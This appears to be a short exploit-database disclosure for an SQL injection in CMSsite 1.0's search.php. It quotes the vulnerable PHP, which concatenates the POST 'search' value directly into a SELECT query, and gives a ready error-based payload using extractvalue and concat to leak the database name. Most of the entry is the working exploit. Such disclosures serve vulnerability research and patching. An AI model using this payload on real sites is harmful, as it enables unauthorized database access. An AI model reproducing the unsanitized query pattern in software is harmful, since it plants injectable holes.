CMSsite version 1.0 suffers from a search functionality-related remote SQL injection vulnerability.
813d70175e93b9649a62518f507836a3# Exploit Title: CMSsite 1.0 - 'search' SQL injection
# Exploit Author : Majid kalantari ([email protected])
# Date: 2019-01-27
# Vendor Homepage : https://github.com/VictorAlagwu/CMSsite
# Software link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
# CVE: N/A
===============================================
# vulnerable file: search.php
# vulnerable parameter : POST - search
if (isset($_POST['submit'])) {
$search = $_POST["search"];
}
$query = "SELECT * FROM posts WHERE post_tags LIKE '%$search%' AND
post_status='publish'";
$search_query = mysqli_query($con, $query);
# payload on search text box: ' and
extractvalue(1,concat(':',database(),':'))#
===============================================